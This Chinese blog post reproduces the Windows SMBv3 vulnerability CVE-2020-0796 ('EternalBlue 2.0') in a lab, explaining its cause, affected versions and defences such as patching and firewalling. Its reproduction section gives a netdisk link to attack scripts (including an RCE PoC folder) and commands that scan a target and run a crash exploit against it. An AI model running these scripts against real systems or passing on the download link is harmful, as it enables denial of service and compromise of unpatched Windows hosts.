当前位置: 首页 > news >正文

CVE-2020-0796永恒之蓝2.0(漏洞复现)

目录

前言

产生原因

影响范围

漏洞复现

复现环境

复现步骤

防御措施

总结


前言

在网络安全的战场上,漏洞一直是攻防双方关注的焦点。CVE-2020-0796,这个被称为 “永恒之蓝 2.0” 的漏洞,一度引起了广泛的关注与担忧。它究竟是怎样的一个漏洞,又会对我们的系统产生怎样的威胁?本文将深入探讨这个漏洞,并进行漏洞复现,同时为大家提供有效的防御措施。

产生原因

这个漏洞的产生主要源于 Windows 对 SMBv3 协议处理中的缺陷。当 SMBv3 协议处理某些特制的压缩数据包时,存在缓冲区溢出的问题。Windows 系统在解析这些数据包时,没有对数据包的长度和内容进行严格的边界检查,从而导致攻击者可以精心构造恶意数据包,使得系统在处理这些数据包时发生缓冲区溢出,进而执行攻击者预先植入的恶意代码。

影响范围

该漏洞影响众多基于 Windows 的操作系统,包括但不限于:

  • Windows Server 2019
  • Windows 10 Version 1903、1909 等较新版本

微软官方也发布了相关安全公告,建议用户尽快进行更新以修复此漏洞。

漏洞复现

通过网盘分享的文件:永恒之蓝攻击脚本
链接: https://pan.baidu.com/s/1ZtQEMg2nBtn6VZtfg6_k1g?pwd=5c6r 提取码: 5c6r 
--来自百度网盘超级会员v3的分享

复现环境

  • 攻击机:Kali Linux    
  • 目标机:Windows 10(未安装相关安全补丁)

复现步骤

使用的命令

nmap -p 445 --script=smb-protocols <目标IP>    #使用Nmap对目标网络进行扫描
unzip CVE-2020-0796.zip                        #解压攻击压缩包
cd CVE-2020-0796                               #进入到解压的文件夹
cd SMBGhost                                    #切换到漏洞检测目录
python3 scanner.py 10.0.0.103                  #使用python3脚本进行检测目标ip地址是否有此漏洞
cd ../CVE-2020-0796-PoC                        #切换到攻击脚本目录
python3 CVE-2020-0796.py 10.0.0.103            #使用python3进行攻击

     1.上传永恒之蓝攻击脚本,并进行解压

  2.解压后切换到解压后的路径中,并查看文件夹下的内容

drwxrwxrwx 4 root root 4096 2024年 6月29日  CVE-2020-0796-PoC  #蓝屏攻击脚本
drwxrwxrwx 2 root root 4096 2024年 6月29日  SMBGhost           #扫描脚本
drwxrwxrwx 2 root root 4096 2024年 6月29日  SMBGhost_RCE_PoC   #远程控制攻击脚本

 3.切换进入扫描脚本文件夹,使用python3运行扫描脚本,扫描目标主机是否存在此漏洞

 4.切换进入攻击脚本,此时利用脚本进行攻击

 5.此时查看目标靶机已经蓝屏

至此,CVE-2020-0796漏洞复现结束。

防御措施

及时更新系统:安装微软发布的安全补丁是最有效的防御手段。用户应定期检查系统更新,并及时安装。

网络隔离:对不同安全级别的网络进行隔离,限制 SMBv3 协议的访问范围,减少攻击面。

启用防火墙:配置防火墙规则,阻止未经授权的 SMBv3 连接请求。可以只允许特定的 IP 地址或网络段访问 SMB 服务。

总结

CVE-2020-0796“永恒之蓝 2.0” 漏洞再次给我们敲响了网络安全的警钟。了解漏洞的原理、影响范围和防御措施,有助于我们更好地保护自己的系统安全。在日常运维中,要养成及时更新系统、加强网络安全防护的好习惯,共同营造一个安全的网络环境。

http://www.lryc.cn/news/527497.html

相关文章:

  • 游戏策划的分类
  • 单片机基础模块学习——PCF8591芯片
  • 深入探索 HTML5 拖拽效果 API:打造流畅交互体验
  • 【Healpix】python一种用于将球面划分为均匀区域的技术
  • Go:基于Go实现一个压测工具
  • 算法-加油站问题
  • UART ,IIC 和SPI三种总线协议
  • Padas进行MongoDB数据库CRUD
  • 动手学图神经网络(6):利用图神经网络进行点云分类
  • C语言从入门到进阶
  • Python中容器类型的数据(下)
  • MySQL 用户相关的操作详解
  • 如何删除hugging face dowloaded的llm model?
  • Vue 封装http 请求
  • 恒源云云GPU服务器训练模型指南
  • Spring Boot应用中实现基于JWT的登录拦截器,以保证未登录用户无法访问指定的页面
  • MySQL 基础学习(1):数据类型与操作数据库和数据表
  • zyNo.19
  • Kafka生产者ACK参数与同步复制
  • IPhone14 Pro 设备详情
  • 【Linux】磁盘
  • Shell编程(for循环+并发问题+while循环+流程控制语句+函数传参+函数变量+函数返回值+反向破解MD5)
  • 强化学习数学原理(三)——值迭代
  • Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?
  • [JMCTF 2021]UploadHub
  • C++学习——认识和与C的区别
  • 为AI聊天工具添加一个知识系统 之63 详细设计 之4:AI操作系统 之2 智能合约
  • 基于SpringBoot的网上摄影工作室开发与实现 | 含论文、任务书、选题表
  • Flutter子页面向父组件传递数据方法
  • 回顾Maven